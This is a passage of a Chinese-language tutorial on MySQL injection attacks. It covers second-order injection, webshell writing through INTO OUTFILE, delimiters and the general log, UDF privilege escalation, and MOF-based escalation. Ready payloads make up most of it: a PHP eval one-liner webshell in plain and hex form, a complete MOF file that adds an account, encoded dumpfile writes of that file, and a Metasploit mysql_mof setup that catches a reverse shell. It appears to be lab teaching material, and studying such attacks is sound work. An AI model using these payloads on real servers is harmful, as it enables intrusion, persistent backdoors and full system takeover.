执行后,查看数据库数据:

img

可以看到admin的密码由原来的123修改为123456

1
2
3
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这是因为上面的数据库更新语句,在用户名为 "admin'#" 时执行的实际是:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

利用SQL注入写WebShell

写WebShell的必要条件就是拥有读写文件的权限。这个在讲带外查询的时候已经讲到过了,让我们再来回顾一下。

注:写Webshell之前需要知道Web根目录的绝对路径。

获取Web根目录路径的方式:

  • 报错显示
  • 遗留文件,phpinfo()
  • 漏洞爆路径
  • 读取配置文件

查看secure_file_priv变量的值

1
show variables like '%secure%';
  • 当secure_file_priv为空,就可以读取磁盘的目录。

  • 当secure_file_priv为G:\,就可以读取G盘的文件。

  • 当secure_file_priv为null,load_file就不能加载文件。

fb1da6930b6d134621129dd36805e0ca.png

若该值为NULL,则需要在mysql的配置文件(my.ini)中设置 secure_file_priv = ''

3209f789243f97414ec5928f97478fa4.png

若当前数据库用户没有读写文件权限,可以使用GRANT语句授予权限

1
2
GRANT FILE ON *.* TO 'user'@'%';
FLUSH PRIVILEGES;

注意:在Linux系统中,MySQL只是服务用户,默认没有对Web根目录有读写权限,除非能找到Web根目录下有对其他用户写入权限的目录才能写WebShell。

利用Union Select写入

这是最常见的写入方式,unionselect into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

payload:

1
?id=-1' union select 1,"<?php @eval($_POST['cmd']);?>",3 into outfile 'C:/Wamp/apache2.4/htdocs/WWW/evil.php' --+

也可将一句话木马进行Hex编码:

1
?id=-1' union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile 'C:/Wamp/apache2.4/htdocs/WWW/evil.php' --+

这时,服务器的WEB根目录会多出一个evil.php的文件

b79e8369bd05be28c62563d03e6b1a97.png

验证一句话木马能否成功执行命令

b942d634209c5ed1ea971f002adb0490.png

有关WebShell的内容在之后会详细讲解。

利用分隔符写入

当MySql注入的攻击方式为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP--os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

payload:

1
?id=1' limit 0,1 into outfile 'C:/Wamp/apache2.4/htdocs/WWW/evil.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e --+

同样的技巧,一共有四种形式:

1
2
3
4
?id=1 INTO OUTFILE '物理路径' lines terminated by  	(一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#

利用Log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

1
2
3
4
5
6
7
8
9
show variables like '%general%'; 		#查看配置

set global general_log = on; #开启general log模式

set global general_log_file = 'C:/Wamp/apache2.4/htdocs/WWW/evil.php'; #设置日志目录为shell地址

select '<?php eval($_POST["cmd"]);?>'; #写入shell

set global general_log=off; #关闭general log模式

UDF提权执行系统命令

什么是UDF?

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

如何使用UDF?

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。

上传udf动态链接库

如果是mysql5.1及以上版本,必须要把udf.dll文件放到mysql安装目录的lib\plugin文件夹下才能创建自定义函数。

babe58af0410a5eafe6deafbf1c33475.png

在sqlmap中可以导入udf,由于sqlmap中自带的这些链接库为了防止误杀都经过编码处理,不能直接使用,需要使用sqlmap自带的解码工具cloak.py进行解码。

img

可以使用WebShell管理工具导入,这里就直接手工粘贴进去了

013854ab7b29796f6a1e56e597e5d234.png

引用共享库文件创建存储函数

存储函数创建语法:

image-20200704183408625

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys\_eval。还有一个变量是shared\_library\_name(共享包名称),即lib_mysqludf_sys.dll

d98f562a1bba6b244b906a1082acd262.png

接下来我们就可以使用我们创建的sys_eval()函数执行系统命令了。

7ec7d8ef81940a743c553ffb10b58936.png

MOF提权执行系统命令

实验前准备

介绍

MOF文件是mysql数据库的扩展(C:\WINDOWS\system32\wbem\mof)叫做”托管对象格式”,其作用是每隔60s就会去监控进程创建和死亡,因为MOF文件每60s就会执行,且是系统权限,所以如果我们有权限替换原有的MOF文件,就能获得system权限。

执行成功写入MOF文件会出现在C:\WINDOWS\system32\wbem\mof\good目录下,否则出现在C:\WINDOWS\system32\wbem\mof\bad目录下。

利用条件

  • Windows <= 2003
  • 拥有mysql数据库的账号,且账号有写入权限
  • mysqlC:\WINDOWS\system32\wbem\mof目录有写入权限

实验环境

  • 系统:Windows Server 2003 Enterprise x64 Edition

  • 数据库:MySQL 5.1.52

有WebShell提权

新建一个user.mof文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker Admin12345 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

将该文件上传到目标主机中,然后执行以下命令

1
2
3
select load_file('C:\\Wamp\\WebCode\\bWAPP_latest\\user.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

#注:这里只能用into dumpfile,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

可以看到,成功执行了net user hacker Admin12345 /add命令,添加了一个hacker用户,接下来再用同样的方法执行net localgroup administrators hacker /add命令便可提权至管理员权限。

image-20211005182707344

无WebShell提权

16进制写入

写一个python脚本将evil.mof文件转化为16进制,代码如下

1
2
3
4
5
6
7
import binascii

with open('evil.mof', 'rb') as f:
content = f.read()
hex1 = binascii.hexlify(content)
hex = str(hex1,'utf-8')
print('0x'+hex)

转化好之后再用sql语句写入

1
select 0x23707261676d61206e616d65737061636528225c5c5c5c2e5c5c726f6f745c5c737562736372697074696f6e22290d0a696e7374616e6365206f66205f5f4576656e7446696c74657220617320244576656e7446696c7465720d0a7b0d0a4576656e744e616d657370616365203d2022526f6f745c5c43696d7632223b0d0a4e616d65203d202266696c745032223b0d0a5175657279203d202253656c656374202a2046726f6d205f5f496e7374616e63654d6f64696669636174696f6e4576656e7420220d0a22576865726520546172676574496e7374616e636520497361205c2257696e33325f4c6f63616c54696d655c2220220d0a22416e6420546172676574496e7374616e63652e5365636f6e64203d2035223b0d0a51756572794c616e6775616765203d202257514c223b0d0a7d3b0d0a696e7374616e6365206f66204163746976655363726970744576656e74436f6e73756d65722061732024436f6e73756d65720d0a7b0d0a4e616d65203d2022636f6e735043535632223b0d0a536372697074696e67456e67696e65203d20224a536372697074223b0d0a53637269707454657874203d0d0a2276617220575348203d206e657720416374697665584f626a656374285c22575363726970742e5368656c6c5c22295c6e5753482e72756e285c226e65742e6578652075736572206576696c204162636431323334202f6164645c2229223b0d0a7d3b0d0a696e7374616e6365206f66205f5f46696c746572546f436f6e73756d657242696e64696e670d0a7b0d0a436f6e73756d6572203d2024436f6e73756d65723b0d0a46696c746572203d20244576656e7446696c7465723b0d0a7d3b into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

ASCII写入

写一个python脚本将evil.mof的文件内容转化为ascii码

1
2
3
4
5
6
7
8
9
import binascii
import numpy as np
import re

with open('evil.mof', 'rb') as f:
a = f.read()
asc1 = np.frombuffer(a, dtype=np.uint8)
asc = asc1.tolist()
print(asc)

转化好之后再用sql语句写入

1
select char(35, 112, 114, 97, 103, 109, 97, 32, 110, 97, 109, 101, 115, 112, 97, 99, 101, 40, 34, 92, 92, 92, 92, 46, 92, 92, 114, 111, 111, 116, 92, 92, 115, 117, 98, 115, 99, 114, 105, 112, 116, 105, 111, 110, 34, 41, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 95, 95, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 32, 97, 115, 32, 36, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 13, 10, 123, 13, 10, 69, 118, 101, 110, 116, 78, 97, 109, 101, 115, 112, 97, 99, 101, 32, 61, 32, 34, 82, 111, 111, 116, 92, 92, 67, 105, 109, 118, 50, 34, 59, 13, 10, 78, 97, 109, 101, 32, 61, 32, 34, 102, 105, 108, 116, 80, 50, 34, 59, 13, 10, 81, 117, 101, 114, 121, 32, 61, 32, 34, 83, 101, 108, 101, 99, 116, 32, 42, 32, 70, 114, 111, 109, 32, 95, 95, 73, 110, 115, 116, 97, 110, 99, 101, 77, 111, 100, 105, 102, 105, 99, 97, 116, 105, 111, 110, 69, 118, 101, 110, 116, 32, 34, 13, 10, 34, 87, 104, 101, 114, 101, 32, 84, 97, 114, 103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101, 32, 73, 115, 97, 32, 92, 34, 87, 105, 110, 51, 50, 95, 76, 111, 99, 97, 108, 84, 105, 109, 101, 92, 34, 32, 34, 13, 10, 34, 65, 110, 100, 32, 84, 97, 114, 103, 101, 116, 73, 110, 115, 116, 97, 110, 99, 101, 46, 83, 101, 99, 111, 110, 100, 32, 61, 32, 53, 34, 59, 13, 10, 81, 117, 101, 114, 121, 76, 97, 110, 103, 117, 97, 103, 101, 32, 61, 32, 34, 87, 81, 76, 34, 59, 13, 10, 125, 59, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 65, 99, 116, 105, 118, 101, 83, 99, 114, 105, 112, 116, 69, 118, 101, 110, 116, 67, 111, 110, 115, 117, 109, 101, 114, 32, 97, 115, 32, 36, 67, 111, 110, 115, 117, 109, 101, 114, 13, 10, 123, 13, 10, 78, 97, 109, 101, 32, 61, 32, 34, 99, 111, 110, 115, 80, 67, 83, 86, 50, 34, 59, 13, 10, 83, 99, 114, 105, 112, 116, 105, 110, 103, 69, 110, 103, 105, 110, 101, 32, 61, 32, 34, 74, 83, 99, 114, 105, 112, 116, 34, 59, 13, 10, 83, 99, 114, 105, 112, 116, 84, 101, 120, 116, 32, 61, 13, 10, 34, 118, 97, 114, 32, 87, 83, 72, 32, 61, 32, 110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40, 92, 34, 87, 83, 99, 114, 105, 112, 116, 46, 83, 104, 101, 108, 108, 92, 34, 41, 92, 110, 87, 83, 72, 46, 114, 117, 110, 40, 92, 34, 110, 101, 116, 46, 101, 120, 101, 32, 117, 115, 101, 114, 32, 101, 118, 105, 108, 32, 65, 98, 99, 100, 49, 50, 51, 52, 32, 47, 97, 100, 100, 92, 34, 41, 34, 59, 13, 10, 125, 59, 13, 10, 105, 110, 115, 116, 97, 110, 99, 101, 32, 111, 102, 32, 95, 95, 70, 105, 108, 116, 101, 114, 84, 111, 67, 111, 110, 115, 117, 109, 101, 114, 66, 105, 110, 100, 105, 110, 103, 13, 10, 123, 13, 10, 67, 111, 110, 115, 117, 109, 101, 114, 32, 61, 32, 36, 67, 111, 110, 115, 117, 109, 101, 114, 59, 13, 10, 70, 105, 108, 116, 101, 114, 32, 61, 32, 36, 69, 118, 101, 110, 116, 70, 105, 108, 116, 101, 114, 59, 13, 10, 125, 59) into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

利用MSF自动化提权

可以利用msfexploit/windows/mysql/mysql_mof模块进行自动化提权,命令如下

1
2
3
4
5
6
7
8
9
10
11
use exploit/windows/mysql/mysql_mof
# mysql账号密码
set username root
set password root
# 目标主机ip和端口
set rhost 192.168.26.174
set rport 3306
# 接收shell的ip和端口
set lhost 192.168.26.129
set lport 4444
run

返回的是system权限

img

参考资料